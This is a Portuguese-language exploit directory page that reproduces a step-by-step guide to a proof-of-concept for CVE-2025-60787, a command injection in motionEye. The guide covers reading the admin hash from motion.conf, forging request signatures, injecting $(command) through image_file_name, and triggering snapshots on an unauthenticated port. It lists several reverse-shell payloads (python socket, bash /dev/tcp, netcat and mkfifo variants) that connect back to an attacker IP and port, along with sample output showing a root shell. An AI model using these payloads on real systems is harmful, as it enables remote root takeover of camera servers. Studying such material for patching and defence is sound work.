Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-60787 — Prova de conceito de exploit para CVE-2025-60787, uma injeção de comandos do sistema operacional no motionEye v0.43.1b4, permitindo execução remota de código por meio do parâmetro image_file_name manipulado. | Kitploit
Ferramentas/GitHubGitHub/agent-skywalker/cve-2025-60787
Ataques de SenhaAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleRed TeamingDesenvolvimento de Payloads

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
agent-skywalker/cve-2025-60787

CVE-2025-60787

Prova de conceito de exploit para CVE-2025-60787, uma injeção de comandos do sistema operacional no motionEye v0.43.1b4, permitindo execução remota de código por meio do parâmetro image_file_name manipulado.

Ver Repositório
13há 6 mesesAinda não revisado

CVE-2025-60787 - MotionEye RCE

MotionEye v0.43.1b4 Injeção de Comandos do SO

Um exploit de prova de conceito de Injeção de Comandos do SO para a vulnerabilidade no motionEye, um frontend web para o daemon motion. A vulnerabilidade abusa do parâmetro de configuração image_file_name, que é passado diretamente ao shell sem sanitização, permitindo injeção arbitrária de comandos por meio da sintaxe de subshell $(command).

Aviso: Utilize apenas contra sistemas nos quais você tenha permissão explícita para testar. O uso não autorizado é ilegal.


Índice

  • Como a Vulnerabilidade Funciona
  • Pré-requisitos
  • Passo 1 — Localize o Hash da Senha do Administrador
  • Passo 2 — Entendendo a Cadeia de Autenticação
  • Passo 3 — Entendendo o Algoritmo de Assinatura
  • Passo 4 — Configure o Exploit
  • Passo 5 — Inicie Seu Listener
  • Passo 6 — Execute o Exploit
  • Referência de Parâmetros
  • Solução de Problemas

Como a Vulnerabilidade Funciona

O motionEye passa o valor de configuração image_file_name diretamente ao daemon motion como um padrão de nome de arquivo de shell. O motion avalia expressões de subshell $(...) dentro dos nomes de arquivo no momento do snapshot, o que significa que qualquer comando colocado dentro de $(...) é executado como o usuário que executa o processo do motion (tipicamente root).

A cadeia completa do ataque é:

root@kitploit:~
1. Read admin_password hash from /etc/motioneye/motion.conf
         ↓
2. Derive cookie hash = SHA1(admin_password_hash)
         ↓
3. Compute HMAC signature using motionEye's exact algorithm:
   SHA1("METHOD:path:body:key")
         ↓
4. POST malicious config to /config/{cam}/set/ with:
   image_file_name = $(your_command).%Y-%m-%d-%H-%M-%S
         ↓
5. Trigger snapshot via unauthenticated motion control port 7999
         ↓
6. Motion evaluates the filename → command executes as root
         ↓
7. Reverse shell connects back to attacker machine

Pré-requisitos

  • Python 3.6+
  • Acesso de rede à instância do motionEye alvo (porta padrão 8765)
  • O hash da senha do administrador em /etc/motioneye/motion.conf
  • Um listener na sua máquina de ataque (ex.: nc)

Nenhum pacote Python de terceiros é necessário — o exploit utiliza apenas a biblioteca padrão.


Passo 1 — Localize o Hash da Senha do Administrador

O arquivo de configuração do motionEye armazena a senha do administrador como um hash SHA1. Leia-o do alvo:

root@kitploit:~
cat /etc/motioneye/motion.conf

Procure pela linha de comentário @admin_password:

root@kitploit:~
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

O valor após @admin_password é um hash SHA1 da senha em texto puro, não a senha em si. Este hash é o que você precisa para o exploit.

Observe também o valor de webcontrol_port — esta é a porta de controle do motion sem autenticação, usada para acionar os snapshots:

root@kitploit:~
webcontrol_port 7999
webcontrol_localhost on
root@kitploit:~
user@test:/tmp$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password 


setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2

camera camera-1.conf
camera camera-2.conf

Passo 2 — Entendendo a Cadeia de Autenticação

O motionEye utiliza um esquema de autenticação com hash duplo:

root@kitploit:~
plaintext_password
       │
       ▼  SHA1
admin_password  ←── stored in motion.conf as @admin_password
       │
       ▼  SHA1
cookie_hash     ←── sent in browser cookie as meye_password_hash
       │
       ▼  used as HMAC key
request_signature ←── _signature= parameter in every API request

O exploit deriva o hash do cookie automaticamente a partir do hash de configuração:

root@kitploit:~
cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()

Você pode verificar isso manualmente:

root@kitploit:~
echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# output: 238bd0f26e9f987d2dc9c0351c018e5f52534052

Passo 3 — Entendendo o Algoritmo de Assinatura

A assinatura é calculada a partir do código-fonte do motionEye em
/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py:

root@kitploit:~
SHA1("METHOD:path:body:key")

Onde:

  • METHOD — método HTTP (POST)
  • path — URI com _signature removido da query string, parâmetros ordenados, valores codificados em URL e então filtrados por _SIGNATURE_REGEX
  • body — string bruta do corpo JSON filtrada por _SIGNATURE_REGEX
  • key — ou admin_password ou admin_hash (o motionEye aceita ambos), filtrada por _SIGNATURE_REGEX

O _SIGNATURE_REGEX remove qualquer caractere que não esteja em [a-zA-Z0-9/?_.=&{}\[\]":, -], substituindo-os por -.


Passo 4 — Configure o Exploit

Abra o exploit.py e defina as seguintes variáveis no topo:

root@kitploit:~
MOTIONEYE_URL = "http://127.0.0.1:8765"   # motionEye web UI URL
MOTION_URL    = "http://127.0.0.1:7999"   # motion control port (no auth)
USERNAME      = "admin"                    # admin username (default: admin)
ADMIN_HASH    = "989c5a8ee87a0e9521ec81a79187d162109282f0"  # from motion.conf

LHOST = "10.10.16.153"   # your listener IP — the target must be able to reach this
LPORT = "4444"           # your listener port

O comando da reverse shell é definido automaticamente a partir de LHOST e LPORT:

root@kitploit:~
COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"

Comandos alternativos de shell — troque o COMMAND se o padrão estiver bloqueado:

root@kitploit:~
# Bash TCP (simple, may be filtered)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"

# Netcat with -e flag
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"

# Netcat without -e (OpenBSD netcat)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"

Passo 5 — Inicie Seu Listener

Na sua máquina de ataque, inicie um listener netcat antes de executar o exploit:

root@kitploit:~
nc -lvnp 4444

O exploit pausa por 5 segundos após exibir o lembrete do listener, dando a você tempo para alternar de terminal.


Passo 6 — Execute o Exploit

root@kitploit:~
python3 exploit.py

Saída esperada:

root@kitploit:~
============================================================
  motionEye RCE — Reverse Shell
============================================================

[*] LHOST      : 10.10.16.153
[*] LPORT      : 4444
[*] Command    : python3 -c '...'

[!] Start your listener NOW:
    nc -lvnp 4444

[*] Sending payload in 5 seconds...

[*] cam=2 key=admin_password ts=1773484327292
    sig=abc123...
    status=200 resp={}

[+] Config saved! cam=2 key=admin_password

[*] Triggering snapshots via port 7999 (no auth)...
[+] cam 0 → 200 Snapshot for camera 0 Done
[+] cam 1 → 200 Snapshot for camera 1 Done
[+] cam 2 → 200 Snapshot for camera 2 Done

[+] Snapshot triggered — check your listener on 10.10.16.153:4444

No seu listener, você deve receber:

root@kitploit:~
listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@test:/var/lib/motioneye/Camera2#

Referência de Parâmetros


Solução de Problemas

403 Não autorizado em todas as requisições

A assinatura está incorreta. Verifique se o valor do seu ADMIN_HASH corresponde exatamente à linha @admin_password no motion.conf — sem espaços, sem caracteres de nova linha.

root@kitploit:~
cat /etc/motioneye/motion.conf | grep admin_password

Os snapshots são acionados, mas nenhum shell chega

A injeção em image_file_name funcionou, mas a reverse shell foi bloqueada. Tente um COMMAND alternativo do Passo 4. Confirme também se o alvo consegue alcançar seu LHOST:

root@kitploit:~
# On target
ping -c 1 10.10.16.153
curl http://10.10.16.153:4444

A porta 7999 recusa a conexão

A configuração webcontrol_localhost on restringe a porta 7999 apenas ao localhost. O exploit deve ser executado a partir da máquina alvo ou por meio de um túnel. Confirme com:

root@kitploit:~
ss -tlnp | grep 7999

motion.conf não legível

O arquivo pode exigir privilégios elevados:

root@kitploit:~
sudo cat /etc/motioneye/motion.conf

Nenhuma configuração de câmera encontrada

Verifique quais arquivos de configuração de câmera existem e atualize a lista cam no exploit, se necessário:

root@kitploit:~
ls /etc/motioneye/camera-*.conf


Referências

  • CVE-2025-60787
  • código-fonte do motionEye — utils/init.py
  • código-fonte do motionEye — handlers/base.py
Baixar ferramenta
ParâmetroLocalDescriçãoExemplo
MOTIONEYE_URLexploit.pyURL completa da interface web do motionEyehttp://127.0.0.1:8765
MOTION_URLexploit.pyURL da porta de controle do motion (sem autenticação necessária)http://127.0.0.1:7999
USERNAMEexploit.pyNome de usuário administrador do motionEyeadmin
ADMIN_HASHexploit.pyHash SHA1 de @admin_password no motion.conf989c5a8e...
LHOSTexploit.pyIP da sua máquina de ataque — o alvo deve conseguir alcançá-lo10.10.16.153
LPORTexploit.pyPorta em que seu listener nc está4444